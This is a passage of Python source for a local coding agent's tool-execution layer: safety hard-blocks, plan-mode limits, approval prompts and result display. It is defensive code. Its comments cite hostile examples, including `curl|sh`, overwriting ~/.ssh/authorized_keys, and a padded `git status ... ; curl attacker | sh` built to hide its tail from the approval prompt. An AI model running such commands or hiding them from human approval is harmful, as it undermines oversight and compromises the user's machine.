old_lines = len(old_text.splitlines())
|
|
438
|
+
if old_lines < 60:
|
|
439
|
+
return None
|
|
440
|
+
|
|
441
|
+
content = old_text
|
|
442
|
+
replaced_lines = 0
|
|
443
|
+
for edit in edits:
|
|
444
|
+
if not isinstance(edit, dict):
|
|
445
|
+
return None
|
|
446
|
+
old = edit.get("old_string", "")
|
|
447
|
+
new = edit.get("new_string", "")
|
|
448
|
+
if not isinstance(old, str) or not isinstance(new, str) or not old:
|
|
449
|
+
return None
|
|
450
|
+
if content.count(old) != 1:
|
|
451
|
+
return None
|
|
452
|
+
replaced_lines += len(old.splitlines())
|
|
453
|
+
content = content.replace(old, new, 1)
|
|
454
|
+
|
|
455
|
+
new_lines = len(content.splitlines())
|
|
456
|
+
replaced_ratio = replaced_lines / max(old_lines, 1)
|
|
457
|
+
if new_lines > 20:
|
|
458
|
+
return None
|
|
459
|
+
if new_lines >= max(12, old_lines // 5):
|
|
460
|
+
return None
|
|
461
|
+
if replaced_ratio < 0.75:
|
|
462
|
+
return None
|
|
463
|
+
return (
|
|
464
|
+
f"REJECTED: multi_edit would collapse {path.name} from {old_lines} "
|
|
465
|
+
f"lines to {new_lines} lines after replacing {replaced_lines} lines. "
|
|
466
|
+
"This looks like an accidental destructive rewrite. Use smaller "
|
|
467
|
+
"targeted edits, or ask before doing an explicit full-file replacement."
|
|
468
|
+
)
|
|
469
|
+
|
|
470
|
+
|
|
471
|
+
def _execute_tool_result(app: "LocalCodeApp", name: str, args: dict, out: "OutputManager") -> ToolResult:
|
|
472
|
+
"""Execute a single tool and return the result string.
|
|
473
|
+
|
|
474
|
+
Routes through src/localcode/tools/{name}.py via tools.dispatch, with two
|
|
475
|
+
wrapping policy layers: the autonomy-independent safety hard-block, and
|
|
476
|
+
the plan-mode policy layer that refuses writes (other than the plan file)
|
|
477
|
+
and non-read-only shell while the agent is in plan-explore mode.
|
|
478
|
+
"""
|
|
479
|
+
# Autonomy-independent safety hard-block. Runs FIRST, in every mode
|
|
480
|
+
# (including FULL_AUTO / headless), and cannot be overridden — this is the
|
|
481
|
+
# backstop the confirmation gate is not. A prompt-injected model cannot use
|
|
482
|
+
# bash/background_process to run `curl|sh` or wipe a disk, nor a write tool
|
|
483
|
+
# to overwrite ~/.ssh/authorized_keys, even with no human present.
|
|
484
|
+
_blocked = _safety_hard_block(name, args, repo_root=getattr(app, "repo_root", None))
|
|
485
|
+
if _blocked is not None:
|
|
486
|
+
try:
|
|
487
|
+
from ..events import emit as _emit_block
|
|
488
|
+
_emit_block("safety_hard_block", tool=name, reason=str(_blocked)[:200])
|
|
489
|
+
except Exception:
|
|
490
|
+
pass
|
|
491
|
+
return ToolResult(
|
|
492
|
+
text=f"REJECTED: {_blocked}. This operation is blocked by the safety layer and cannot be auto-approved.",
|
|
493
|
+
ok=False,
|
|
494
|
+
facts={"tool": name, "ok": False, "safety_blocked": True},
|
|
495
|
+
)
|
|
496
|
+
|
|
497
|
+
# Plan-mode policy. Runs next, before any hook or tool work, so the
|
|
498
|
+
# promise plans.py makes to the user ("the ONE write allowed in plan
|
|
499
|
+
# mode") is actually true.
|
|
500
|
+
_plan_blocked = _plan_mode_block(app, name, args)
|
|
501
|
+
if _plan_blocked is not None:
|
|
502
|
+
try:
|
|
503
|
+
from ..events import emit as _emit_plan
|
|
504
|
+
_emit_plan("plan_mode_block", tool=name, reason=str(_plan_blocked)[:200])
|
|
505
|
+
except Exception:
|
|
506
|
+
pass
|
|
507
|
+
return ToolResult(
|
|
508
|
+
text=f"REJECTED: {_plan_blocked}",
|
|
509
|
+
ok=False,
|
|
510
|
+
facts={"tool": name, "ok": False, "plan_mode_blocked": True},
|
|
511
|
+
)
|
|
512
|
+
|
|
513
|
+
# Lint-gate: for source-file writes/edits, snapshot the file before the
|
|
514
|
+
# tool runs so we can auto-revert on syntax-break. Motivation: the model
|
|
515
|
+
# at 2-bit quant has been observed to delete import statements during
|
|
516
|
+
# "clean up" edits, corrupting working code. A failed parse after the
|
|
517
|
+
# edit means the model made a destructive mistake — undo it before the
|
|
518
|
+
# next round runs the broken file.
|
|
519
|
+
_lintable_exts = (".py", ".js", ".ts", ".tsx", ".jsx", ".json")
|
|
520
|
+
_lint_tools = {"write_file", "append_file", "edit_file", "multi_edit", "edit_diff"}
|
|
521
|
+
target_path: Path | None = None
|
|
522
|
+
snapshot_bytes: bytes | None = None
|
|
523
|
+
if name in _lint_tools:
|
|
524
|
+
raw_path = args.get("path") or ""
|
|
525
|
+
if raw_path:
|
|
526
|
+
canonical_rejection = _reject_noncanonical_creation_write(app, str(raw_path))
|
|
527
|
+
if canonical_rejection:
|
|
528
|
+
return ToolResult(
|
|
529
|
+
text=canonical_rejection,
|
|
530
|
+
ok=False,
|
|
531
|
+
facts={"tool": name, "ok": False, "path": str(raw_path), "canonical_path": False},
|
|
532
|
+
)
|
|
533
|
+
p = app.repo_root / raw_path if not Path(raw_path).is_absolute() else Path(raw_path)
|
|
534
|
+
if p.suffix.lower() in _lintable_exts and p.exists():
|
|
535
|
+
try:
|
|
536
|
+
snapshot_bytes = p.read_bytes()
|
|
537
|
+
target_path = p
|
|
538
|
+
except Exception:
|
|
539
|
+
snapshot_bytes = None
|
|
540
|
+
target_path = None
|
|
541
|
+
|
|
542
|
+
if name == "write_file":
|
|
543
|
+
raw_path = args.get("path") or ""
|
|
544
|
+
if raw_path and "content" in args:
|
|
545
|
+
p = app.repo_root / raw_path if not Path(raw_path).is_absolute() else Path(raw_path)
|
|
546
|
+
rejection = _should_reject_destructive_write(p, str(args.get("content", "")))
|
|
547
|
+
if rejection:
|
|
548
|
+
return ToolResult(text=rejection, ok=False, facts={"tool": name, "ok": False, "path": str(raw_path)})
|
|
549
|
+
elif name == "multi_edit":
|
|
550
|
+
raw_path = args.get("path") or ""
|
|
551
|
+
if raw_path:
|
|
552
|
+
p = app.repo_root / raw_path if not Path(raw_path).is_absolute() else Path(raw_path)
|
|
553
|
+
rejection = _should_reject_destructive_multi_edit(p, args.get("edits"))
|
|
554
|
+
if rejection:
|
|
555
|
+
return ToolResult(text=rejection, ok=False, facts={"tool": name, "ok": False, "path": str(raw_path)})
|
|
556
|
+
|
|
557
|
+
try:
|
|
558
|
+
result = _tools_dispatch_result(name, ToolContext(app=app, out=out), args)
|
|
559
|
+
except Exception as e:
|
|
560
|
+
text = f"Error in {name}: {type(e).__name__}: {e}"
|
|
561
|
+
return ToolResult(text=text, ok=False, facts={"tool": name, "ok": False, "error_type": type(e).__name__})
|
|
562
|
+
|
|
563
|
+
if target_path is not None and target_path.exists() and target_path.suffix == ".py":
|
|
564
|
+
# Python: ast.parse is cheap and authoritative.
|
|
565
|
+
import ast as _ast
|
|
566
|
+
try:
|
|
567
|
+
_ast.parse(target_path.read_text(errors="replace"))
|
|
568
|
+
except SyntaxError as se:
|
|
569
|
+
if snapshot_bytes is not None:
|
|
570
|
+
target_path.write_bytes(snapshot_bytes)
|
|
571
|
+
text = (
|
|
572
|
+
f"REJECTED: the edit broke Python syntax in {target_path.name} "
|
|
573
|
+
f"({se.msg} at line {se.lineno}). File was reverted. "
|
|
574
|
+
"Re-read the file and try a more targeted change — don't delete "
|
|
575
|
+
"import statements, function defs, or class headers unless the "
|
|
576
|
+
"user explicitly asked."
|
|
577
|
+
)
|
|
578
|
+
return ToolResult(text=text, ok=False, facts={"tool": name, "ok": False, "path": str(target_path), "reverted": True})
|
|
579
|
+
return result
|
|
580
|
+
|
|
581
|
+
|
|
582
|
+
def _execute_tool(app: "LocalCodeApp", name: str, args: dict, out: "OutputManager") -> str:
|
|
583
|
+
return _execute_tool_result(app, name, args, out).text
|
|
584
|
+
|
|
585
|
+
def _first_token(cmd: str) -> str:
|
|
586
|
+
"""Leading command word, used as the key for per-session "always allow"
|
|
587
|
+
whitelisting. `git push ...` → "git", `pip install ...` → "pip".
|
|
588
|
+
"""
|
|
589
|
+
return (cmd.strip().split() or [""])[0][:20].lower()
|
|
590
|
+
|
|
591
|
+
|
|
592
|
+
def _resolve_launch_details(repo_root: "Path | str") -> tuple[str, str, str]:
|
|
593
|
+
"""(command, root, underlying_script) `launch_app` would run, or ('','','').
|
|
594
|
+
|
|
595
|
+
Resolved via the launcher's own detection so the approval prompt and
|
|
596
|
+
the hard-block screen see the SAME repo-controlled strings the tool
|
|
597
|
+
would execute ("{port}" stays as a placeholder — the launcher fills
|
|
598
|
+
in a free localhost port at start time). For npm wrappers the command
|
|
599
|
+
is just `npm run dev …` — the ACTUAL repo-controlled payload is the
|
|
600
|
+
package.json script body, so that is resolved too: it must be shown
|
|
601
|
+
to the user and screened by the hard block.
|
|
602
|
+
"""
|
|
603
|
+
try:
|
|
604
|
+
from ..launcher import detect_launch_candidate
|
|
605
|
+
candidate = detect_launch_candidate(repo_root)
|
|
606
|
+
except Exception:
|
|
607
|
+
return "", "", ""
|
|
608
|
+
if candidate is None:
|
|
609
|
+
return "", "", ""
|
|
610
|
+
script = ""
|
|
611
|
+
try:
|
|
612
|
+
import json as _json
|
|
613
|
+
manifest = candidate.root / "package.json"
|
|
614
|
+
if candidate.command.startswith("npm ") and manifest.is_file():
|
|
615
|
+
data = _json.loads(manifest.read_text(errors="replace"))
|
|
616
|
+
scripts = data.get("scripts") if isinstance(data, dict) else None
|
|
617
|
+
if isinstance(scripts, dict):
|
|
618
|
+
key = "dev" if "npm run dev" in candidate.command else "start"
|
|
619
|
+
script = str(scripts.get(key, "") or "")
|
|
620
|
+
except Exception:
|
|
621
|
+
script = ""
|
|
622
|
+
return candidate.command, str(candidate.root), script
|
|
623
|
+
|
|
624
|
+
|
|
625
|
+
def _approval_display_command(app: "LocalCodeApp | None", name: str, args: dict) -> str:
|
|
626
|
+
"""Build the string the approval prompt shows (and keys "always allow" on).
|
|
627
|
+
|
|
628
|
+
Shell tools carry a command; file-write tools carry a path. `launch_app`
|
|
629
|
+
carries NEITHER — its command comes from the repo's own manifest — so the
|
|
630
|
+
prompt must resolve and show that real command, not a blank line. MCP
|
|
631
|
+
tools show the tool name plus an args preview.
|
|
632
|
+
"""
|
|
633
|
+
cmd = str(args.get("command", "") or "")
|
|
634
|
+
if cmd:
|
|
635
|
+
return cmd
|
|
636
|
+
if name == "launch_app":
|
|
637
|
+
action = str(args.get("action") or "start").strip().lower()
|
|
638
|
+
if action == "stop":
|
|
639
|
+
return "launch_app stop (SIGTERM the app process this session started)"
|
|
640
|
+
repo = getattr(app, "repo_root", None)
|
|
641
|
+
resolved, root, script = _resolve_launch_details(repo) if repo is not None else ("", "", "")
|
|
642
|
+
if resolved:
|
|
643
|
+
suffix = f" (cwd: {root})" if root else ""
|
|
644
|
+
# For npm wrappers, show the script body too — THAT is the
|
|
645
|
+
# repo-controlled command the user is actually approving.
|
|
646
|
+
if script:
|
|
647
|
+
suffix += f' [script: {script}]'
|
|
648
|
+
return f"launch_app {resolved}{suffix}"
|
|
649
|
+
return "launch_app (no launch command detected)"
|
|
650
|
+
path = str(args.get("path") or args.get("file_path") or "")
|
|
651
|
+
if not path and name.startswith("mcp_"):
|
|
652
|
+
try:
|
|
653
|
+
import json as _json
|
|
654
|
+
preview = _json.dumps(args, ensure_ascii=False, default=str)[:200]
|
|
655
|
+
except Exception:
|
|
656
|
+
preview = str(args)[:200]
|
|
657
|
+
return f"{name} {preview}".strip()
|
|
658
|
+
return f"{name} {path}".strip()
|
|
659
|
+
|
|
660
|
+
|
|
661
|
+
def _render_approval_command(cmd: str, width: int = 76, max_chars: int = 1500) -> list[str]:
|
|
662
|
+
"""Prepare a command for the CLI approval prompt: escape control
|
|
663
|
+
characters and wrap the FULL text across lines.
|
|
664
|
+
|
|
665
|
+
The old rendering was `cmd[:80]` raw: everything past column 80 was
|
|
666
|
+
invisible at approval time, and the model controls the padding — so
|
|
667
|
+
`git status <60 spaces> ; curl attacker | sh` displayed as a bare
|
|
668
|
+
`git status`. Raw control characters could also repaint the line
|
|
669
|
+
(`\\r`, cursor moves) to hide the tail. Every character is now either
|
|
670
|
+
shown or explicitly counted in a truncation marker.
|
|
671
|
+
"""
|
|
672
|
+
text = str(cmd or "")
|
|
673
|
+
hidden = max(0, len(text) - max_chars)
|
|
674
|
+
if hidden:
|
|
675
|
+
text = text[:max_chars]
|
|
676
|
+
safe: list[str] = []
|
|
677
|
+
for ch in text:
|
|
678
|
+
code = ord(ch)
|
|
679
|
+
if ch == "\n":
|
|
680
|
+
safe.append(ch)
|
|
681
|
+
elif code < 0x20 or code == 0x7F:
|
|
682
|
+
safe.append(f"\\x{code:02x}")
|
|
683
|
+
else:
|
|
684
|
+
safe.append(ch)
|
|
685
|
+
lines: list[str] = []
|
|
686
|
+
for raw_line in "".join(safe).split("\n"):
|
|
687
|
+
if not raw_line:
|
|
688
|
+
lines.append("")
|
|
689
|
+
continue
|
|
690
|
+
for i in range(0, len(raw_line), width):
|
|
691
|
+
lines.append(raw_line[i:i + width])
|
|
692
|
+
if hidden:
|
|
693
|
+
lines.append(f"… [+{hidden} more characters not shown]")
|
|
694
|
+
return lines
|
|
695
|
+
|
|
696
|
+
def _needs_confirmation(name: str, args: dict, app: "LocalCodeApp | None" = None) -> bool:
|
|
697
|
+
"""Check if this tool needs user confirmation.
|
|
698
|
+
|
|
699
|
+
Honors the app's current autonomy level — FULL_AUTO bypasses confirmation
|
|
700
|
+
even for destructive patterns. This is checked PER-CALL so toggling
|
|
701
|
+
/permissions mid-task takes effect immediately.
|
|
702
|
+
|
|
703
|
+
Also honors the per-session "always allow" set built up when the user
|
|
704
|
+
picks option 2 on a prompt ("always allow `git`"). That set is on
|
|
705
|
+
`app._session_allow` — scoped to this process, cleared on next launch.
|
|
706
|
+
"""
|
|
707
|
+
# Leaving plan mode drops the read-only overlay, and the plan-mode prompt
|
|
708
|
+
# tells the user exit_plan_mode "will return control to the user for
|
|
709
|
+
# approval" — so it genuinely asks. FULL_AUTO (and headless, which forces
|
|
710
|
+
# it) still skips the prompt via the check below.
|
|
711
|
+
_needs_plan_exit_ack = (
|
|
712
|
+
name == "exit_plan_mode" and bool(getattr(app, "plan_mode", False))
|
|
713
|
+
)
|
|
714
|
+
|
|
715
|
+
# Known read-only / internally-guarded built-ins never need confirmation.
|
|
716
|
+
# NOTE the inverted default: a tool that is NOT on the never-confirm list
|
|
717
|
+
# and NOT a shell/write tool (launch_app, any `mcp_*` tool, any unknown
|
|
718
|
+
# freshly-registered tool) falls through and IS confirmed below.
|
|
719
|
+
if (
|
|
720
|
+
not _needs_plan_exit_ack
|
|
721
|
+
and name not in _SHELL_EXEC_TOOLS
|
|
722
|
+
and name not in _FILE_WRITE_TOOLS
|
|
723
|
+
and name in _NEVER_CONFIRM_TOOLS
|
|
724
|
+
):
|
|
725
|
+
return False
|
|
726
|
+
|
|
727
|
+
level = None
|
|
728
|
+
if app is not None:
|
|
729
|
+
try:
|
|
730
|
+
from ..autonomy import AutonomyLevel
|
|
731
|
+
level = getattr(app, "_autonomy", None)
|
|
732
|
+
# FULL_AUTO skips confirmation for everything (the hard-block in
|
|
733
|
+
# _execute_tool_result still applies — it is not an approval).
|
|
734
|
+
if level == AutonomyLevel.FULL_AUTO:
|
|
735
|
+
return False
|
|
736
|
+
except Exception:
|
|
737
|
+
level = None
|
|
738
|
+
|
|
739
|
+
if _needs_plan_exit_ack:
|
|
740
|
+
return True
|
|
741
|
+
|
|
742
|
+
# launch_app / mcp_* / unknown tools: always confirm on first use.
|
|
743
|
+
# `launch_app` executes a command the REPO controls (package.json
|
|
744
|
+
# scripts.dev/start); `mcp_*` tools belong to third-party servers; an
|
|
745
|
+
# unknown tool is exactly what an injected/compromised registration
|
|
746
|
+
# looks like. A session-scoped "always allow" (option 2 on the prompt)
|
|
747
|
+
# is honoured after the first approval — keyed on the tool name, which
|
|
748
|
+
# is the first token of the display command built by
|
|
749
|
+
# `_approval_display_command`.
|
|
750
|
+
if (
|
|
751
|
+
name not in _SHELL_EXEC_TOOLS
|
|
752
|
+
and name not in _FILE_WRITE_TOOLS
|
|
753
|
+
and name != "exit_plan_mode"
|
|
754
|
+
):
|
|
755
|
+
# `launch_app stop` runs no repo-controlled command and can only
|
|
756
|
+
# SIGTERM a pid this session spawned — no prompt needed.
|
|
757
|
+
if name == "launch_app" and str(args.get("action") or "").strip().lower() == "stop":
|
|
758
|
+
return False
|
|
759
|
+
if app is not None:
|
|
760
|
+
allow = getattr(app, "_session_allow", None)
|
|
761
|
+
if allow and (name in allow or _first_token(name) in allow):
|
|
762
|
+
return False
|
|
763
|
+
return True
|
|
764
|
+
|
|
765
|
+
# File-write tools: auto-approved in auto_edit (the point of that mode);
|
|
766
|
+
# in suggest (read-only) mode every write is confirmed. Notebook scratch
|
|
767
|
+
# writes are never prompted.
|
|
768
|
+
if name in _FILE_WRITE_TOOLS:
|
|
769
|
+
try:
|
|
770
|
+
from ..autonomy import AutonomyLevel
|
|
771
|
+
if level != AutonomyLevel.SUGGEST:
|
|
772
|
+
return False
|
|
773
|
+
except Exception:
|
|
774
|
+
return False
|
|
775
|
+
raw_path = str(args.get("path", "") or args.get("file_path", "") or "")
|
|
776
|
+
if raw_path:
|
|
777
|
+
try:
|
|
778
|
+
from ..notebook import is_within_notebook
|
|
779
|
+
if is_within_notebook(Path(raw_path).expanduser()):
|
|
780
|
+
return False
|
|
781
|
+
except Exception:
|
|
782
|
+
pass
|
|
783
|
+
return True
|
|
784
|
+
|
|
785
|
+
# Shell-executing tools (bash, background_process).
|
|
786
|
+
cmd = args.get("command", "")
|
|
787
|
+
if app is not None:
|
|
788
|
+
allow = getattr(app, "_session_allow", None)
|
|
789
|
+
if allow and _first_token(cmd) in allow:
|
|
790
|
+
return False
|
|
791
|
+
# background_process hands a raw string straight to /bin/sh with no
|
|
792
|
+
# destructive-substring shortcut — always confirm it (unless full_auto or
|
|
793
|
+
# session-allowed above). In suggest mode, confirm any shell command.
|
|
794
|
+
if name == "background_process":
|
|
795
|
+
return True
|
|
796
|
+
try:
|
|
797
|
+
from ..autonomy import AutonomyLevel
|
|
798
|
+
if level == AutonomyLevel.SUGGEST:
|
|
799
|
+
return True
|
|
800
|
+
except Exception:
|
|
801
|
+
pass
|
|
802
|
+
# High-risk-but-sometimes-legit patterns (remote pipe-to-shell, force-push,
|
|
803
|
+
# sudo rm) are NOT hard-blocked — confirm them so the user can approve.
|
|
804
|
+
if _CONFIRM_SHELL_RE.search(cmd):
|
|
805
|
+
return True
|
|
806
|
+
return any(p in cmd for p in DESTRUCTIVE_PATTERNS)
|
|
807
|
+
|
|
808
|
+
def _request_approval_verdict(app: "LocalCodeApp | None", out: "OutputManager | None",
|
|
809
|
+
tool_name: str, cmd: str) -> str:
|
|
810
|
+
"""Ask the user to approve one tool call. Returns "once" / "always" / "deny".
|
|
811
|
+
|
|
812
|
+
Single implementation shared by the main loop and by the sub-agent tool
|
|
813
|
+
(`tools/agent.py`), so a sub-agent can never dispatch a tool the parent
|
|
814
|
+
would have prompted for. Prefers the TUI approval callback; falls back to
|
|
815
|
+
the CLI three-option terminal prompt; denies if neither is usable.
|
|
816
|
+
"""
|
|
817
|
+
callback = getattr(out, "_approval_callback", None) if out is not None else None
|
|
818
|
+
if callback is not None:
|
|
819
|
+
raw = callback(tool_name, cmd)
|
|
820
|
+
# Callback may be a bool (legacy) or the new verdict string.
|
|
821
|
+
if isinstance(raw, bool):
|
|
822
|
+
return "once" if raw else "deny"
|
|
823
|
+
return str(raw)
|
|
824
|
+
|
|
825
|
+
# CLI mode: terminal-based approval with 3 options.
|
|
826
|
+
import tty
|
|
827
|
+
import termios
|
|
828
|
+
if out is not None:
|
|
829
|
+
try:
|
|
830
|
+
out._stop_indicator()
|
|
831
|
+
except Exception:
|
|
832
|
+
pass
|
|
833
|
+
rule = app._composer_rule() if hasattr(app, "_composer_rule") else " " + ("─" * 60)
|
|
834
|
+
first_tok = _first_token(cmd) or tool_name
|
|
835
|
+
sys.stdout.write("\n\033[33m Allow this command?\033[0m\n")
|
|
836
|
+
# Full command, wrapped and control-escaped — never a raw 80-char slice
|
|
837
|
+
# (the TUI path in chat_log.py already wraps; this matches it).
|
|
838
|
+
for _line in _render_approval_command(cmd):
|
|
839
|
+
sys.stdout.write(f"\033[2m {_line}\033[0m\n")
|
|
840
|
+
sys.stdout.write(" \033[1m1\033[0m allow once\n")
|
|
841
|
+
sys.stdout.write(f" \033[1m2\033[0m always allow `{first_tok}` (this session)\n")
|
|
842
|
+
sys.stdout.write(" \033[1m3\033[0m deny\n")
|
|
843
|
+
sys.stdout.write("\033[s")
|
|
844
|
+
sys.stdout.write(f"\033[2m{rule}\033[0m\n")
|
|
845
|
+
sys.stdout.write(" › ")
|
|
846
|
+
sys.stdout.write(f"\n\033[2m{rule}\033[0m")
|
|
847
|
+
sys.stdout.write("\033[1A\r ")
|
|
848
|
+
sys.stdout.flush()
|
|
849
|
+
try:
|
|
850
|
+
fd = sys.stdin.fileno()
|
|
851
|
+
old = termios.tcgetattr(fd)
|
|
852
|
+
try:
|
|
853
|
+
tty.setraw(fd)
|
|
854
|
+
ch = sys.stdin.read(1)
|
|
855
|
+
finally:
|
|
856
|
+
termios.tcsetattr(fd, termios.TCSADRAIN, old)
|
|
857
|
+
except Exception:
|
|
858
|
+
try:
|
|
859
|
+
ch = input().strip()
|
|
860
|
+
except EOFError:
|
|
861
|
+
ch = "3"
|
|
862
|
+
sys.stdout.write("\033[u\033[J")
|
|
863
|
+
if ch in ("1", "y"):
|
|
864
|
+
return "once"
|
|
865
|
+
if ch == "2":
|
|
866
|
+
return "always"
|
|
867
|
+
return "deny"
|
|
868
|
+
|
|
869
|
+
|
|
870
|
+
def _render_markdown(text: str, console: Console | None = None) -> None:
|
|
871
|
+
"""Render text as markdown, or plain text for narrow terminals."""
|
|
872
|
+
text = text.strip()
|
|
873
|
+
if not text:
|
|
874
|
+
return
|
|
875
|
+
cols = __import__("shutil").get_terminal_size().columns
|
|
876
|
+
width = cols - 4
|
|
877
|
+
if width < 60:
|
|
878
|
+
# Narrow terminal: just print with indent, no Rich formatting
|
|
879
|
+
for line in text.splitlines():
|
|
880
|
+
sys.stdout.write(f" {line}\n")
|
|
881
|
+
sys.stdout.flush()
|
|
882
|
+
return
|
|
883
|
+
c = Console(width=width, soft_wrap=True)
|
|
884
|
+
has_md = any(m in text for m in ("```", "###", "**", "- ", "1. ", "`"))
|
|
885
|
+
if has_md:
|
|
886
|
+
c.print(Padding(Markdown(text), (0, 2, 0, 2)))
|
|
887
|
+
else:
|
|
888
|
+
c.print(Padding(text, (0, 2, 0, 2)))
|
|
889
|
+
|
|
890
|
+
def _split_exit_code(result: str) -> tuple[int | None, str]:
|
|
891
|
+
"""Split a bash result into (exit_code, body).
|
|
892
|
+
|
|
893
|
+
bash.py prepends `[exit code N]\\n` to a failed command's output as a
|
|
894
|
+
model-facing failure marker. Return the parsed code and the remaining body,
|
|
895
|
+
or (None, result) when the marker is absent (command succeeded).
|
|
896
|
+
"""
|
|
897
|
+
s = result.lstrip()
|
|
898
|
+
if s.startswith("[exit code "):
|
|
899
|
+
end = s.find("]")
|
|
900
|
+
if end != -1:
|
|
901
|
+
try:
|
|
902
|
+
code = int(s[len("[exit code "):end].strip())
|
|
903
|
+
except ValueError:
|
|
904
|
+
return None, result
|
|
905
|
+
body = s[end + 1:]
|
|
906
|
+
return code, body[1:] if body.startswith("\n") else body
|
|
907
|
+
return None, result
|
|
908
|
+
|
|
909
|
+
|
|
910
|
+
def _redirect_note(result: str) -> str:
|
|
911
|
+
"""Turn an internal `REJECTED …` string into a short user-facing note.
|
|
912
|
+
|
|
913
|
+
The full REJECTED payload (routing hints, "Suggested tool call: …",
|
|
914
|
+
hard-stop instructions) is for the model's recovery, not the user. Two
|
|
915
|
+
cases: a routing redirect ("use X instead") → "→ used X instead"; anything
|
|
916
|
+
else (repeat/hard-stop/unsafe/oversize block) → a neutral "→ skipped …"
|
|
917
|
+
note. Never show the raw protocol text.
|
|
918
|
+
"""
|
|
919
|
+
import re
|
|
920
|
+
m = re.search(r"\buse\s+([a-z_]+)\s+instead", result)
|
|
921
|
+
if m:
|
|
922
|
+
return f"→ used {m.group(1)} instead"
|
|
923
|
+
low = result.lower()
|
|
924
|
+
if "hard stop" in low or "already failed" in low or "already ran" in low or "rewritten" in low:
|
|
925
|
+
return "→ skipped (repeating a call that won't help)"
|
|
926
|
+
if "safety ceiling" in low or "over the" in low:
|
|
927
|
+
return "→ skipped (too large — splitting instead)"
|
|
928
|
+
if "defer" in low or "blocked" in low or "live server" in low:
|
|
929
|
+
return "→ skipped that step"
|
|
930
|
+
return "→ adjusted approach"
|
|
931
|
+
|
|
932
|
+
|
|
933
|
+
def _brief_result(tool_name: str, result: str) -> str:
|
|
934
|
+
"""Short summary of a tool result for terminal display."""
|
|
935
|
+
# Tool output reaches here still wrapped in the injection-defense
|
|
936
|
+
# <UNTRUSTED_DATA source="..."> fence on some paths (notably a history
|
|
937
|
+
# re-render, which recomputes the summary from the raw stored result). This
|
|
938
|
+
# is a DISPLAY summary, so unwrap first - otherwise the user sees the raw
|
|
939
|
+
# fence as the tool's "output" (e.g. `<UNTRUSTED_DATA source="$ node -v…`).
|
|
940
|
+
try:
|
|
941
|
+
from ..injection_defense import strip_untrusted
|
|
942
|
+
result = strip_untrusted(result)
|
|
943
|
+
except Exception:
|
|
944
|
+
pass
|
|
945
|
+
lines = result.strip().splitlines()
|
|
946
|
+
# Dedup short-circuits across ALL deduped tools (read_file,
|
|
947
|
+
# list_files, glob, grep) return a tiny "[DEDUP …]" stub. Counting
|
|
948
|
+
# lines / matches on the stub gives "1 lines" / "1 matches" in the
|
|
949
|
+
# chat log — looks like a 1-line file or 1 match, which confuses
|
|
950
|
+
# the user. Surface the dedup honestly first so the user can see
|
|
951
|
+
# the cache behaviour, then fall through to per-tool formatting.
|
|
952
|
+
s = result.strip()
|
|
953
|
+
if s.startswith("[DEDUP"):
|
|
954
|
+
return "already done — using cached result"
|
|
955
|
+
if s.startswith("[FILE UNCHANGED"):
|
|
956
|
+
return "unchanged — see earlier read"
|
|
957
|
+
# Internal tool-routing/hard-stop correction. This is a signal FOR THE
|
|
958
|
+
# MODEL, not the user — render a short neutral note, never the raw
|
|
959
|
+
# "REJECTED: …" / "REJECTED — HARD STOP: …" protocol text (both forms).
|
|
960
|
+
if s.startswith("REJECTED"):
|
|
961
|
+
return _redirect_note(s)
|
|
962
|
+
if tool_name == "read_file":
|
|
963
|
+
return f"{len(lines)} lines"
|
|
964
|
+
if tool_name == "write_file":
|
|
965
|
+
return result.strip()[:80] if result.strip() else "written"
|
|
966
|
+
if tool_name == "edit_file":
|
|
967
|
+
return result.strip()[:80] if result.strip() else "edited"
|
|
968
|
+
if tool_name == "bash":
|
|
969
|
+
# `[exit code N]` is a model-facing marker prepended to the output so the
|
|
970
|
+
# model knows the command failed. Don't show that raw token to the user:
|
|
971
|
+
# strip it, and render a clean "failed (exit N)" plus any real output.
|
|
972
|
+
exit_code, body = _split_exit_code(result)
|
|
973
|
+
body_lines = body.strip().splitlines()
|
|
974
|
+
if exit_code is not None:
|
|
975
|
+
head = body_lines[0][:80] if body_lines and body_lines[0].strip() else ""
|
|
976
|
+
tail = f" …({len(body_lines)} lines)" if len(body_lines) > 1 else ""
|
|
977
|
+
return f"failed (exit {exit_code}){(': ' + head) if head else ''}{tail}"
|
|
978
|
+
if not body.strip():
|
|
979
|
+
return "done (no output)"
|
|
980
|
+
if len(body_lines) <= 3:
|
|
981
|
+
return "\n".join(body_lines)[:200]
|
|
982
|
+
return f"{body_lines[0][:80]} …({len(body_lines)} lines)"
|
|
983
|
+
if tool_name == "grep":
|
|
984
|
+
return f"{len(lines)} matches" if lines and lines[0] else "no matches"
|
|
985
|
+
if tool_name in ("glob", "list_files"):
|
|
986
|
+
return f"{len(lines)} files"
|
|
987
|
+
if tool_name == "web_search":
|
|
988
|
+
return f"{len(lines) // 3} results" if lines else "no results"
|
|
989
|
+
return result[:80] if result else "done"
|
|
990
|
+
|
|
991
|
+
def _grounded_file_summary(repo: Path, changed_files: list[str]) -> str:
|
|
992
|
+
"""Build a deterministic summary from files that actually exist on disk."""
|
|
993
|
+
existing: list[str] = []
|
|
994
|
+
for rel in changed_files:
|
|
995
|
+
path = repo / rel
|
|
996
|
+
if path.exists() and path.is_file():
|
|
997
|
+
existing.append(rel)
|
|
998
|
+
|
|
999
|
+
if not existing:
|
|
1000
|
+
return ""
|
|
1001
|
+
|
|
1002
|
+
lines = ["Updated files:"]
|
|
1003
|
+
for rel in existing:
|
|
1004
|
+
try:
|
|
1005
|
+
line_count = len((repo / rel).read_text(errors="replace").splitlines())
|
|
1006
|
+
lines.append(f"- `{rel}` ({line_count} lines)")
|
|
1007
|
+
except Exception:
|
|
1008
|
+
lines.append(f"- `{rel}`")
|
|
1009
|
+
return "\n".join(lines)
|
|
1010
|
+
|
|
1011
|
+
def _tool_stage_label(tool_name: str, args: dict) -> str:
|
|
1012
|
+
"""Human-readable stage label for the indicator."""
|
|
1013
|
+
if tool_name == "bash":
|
|
1014
|
+
cmd = args.get("command", "")
|
|
1015
|
+
if "pip " in cmd:
|
|
1016
|
+
return "installing packages"
|
|
1017
|
+
if "npm " in cmd:
|
|
1018
|
+
return "installing packages"
|
|
1019
|
+
if "git " in cmd:
|
|
1020
|
+
return "git operation"
|
|
1021
|
+
if "python " in cmd or "pytest" in cmd:
|
|
1022
|
+
return "running code"
|
|
1023
|
+
return "running command"
|
|
1024
|
+
if tool_name == "write_file":
|
|
1025
|
+
return f"writing {Path(args.get('path', 'file')).name}"
|
|
1026
|
+
if tool_name == "edit_file":
|
|
1027
|
+
return f"editing {Path(args.get('path', 'file')).name}"
|
|
1028
|
+
if tool_name == "read_file":
|
|
1029
|
+
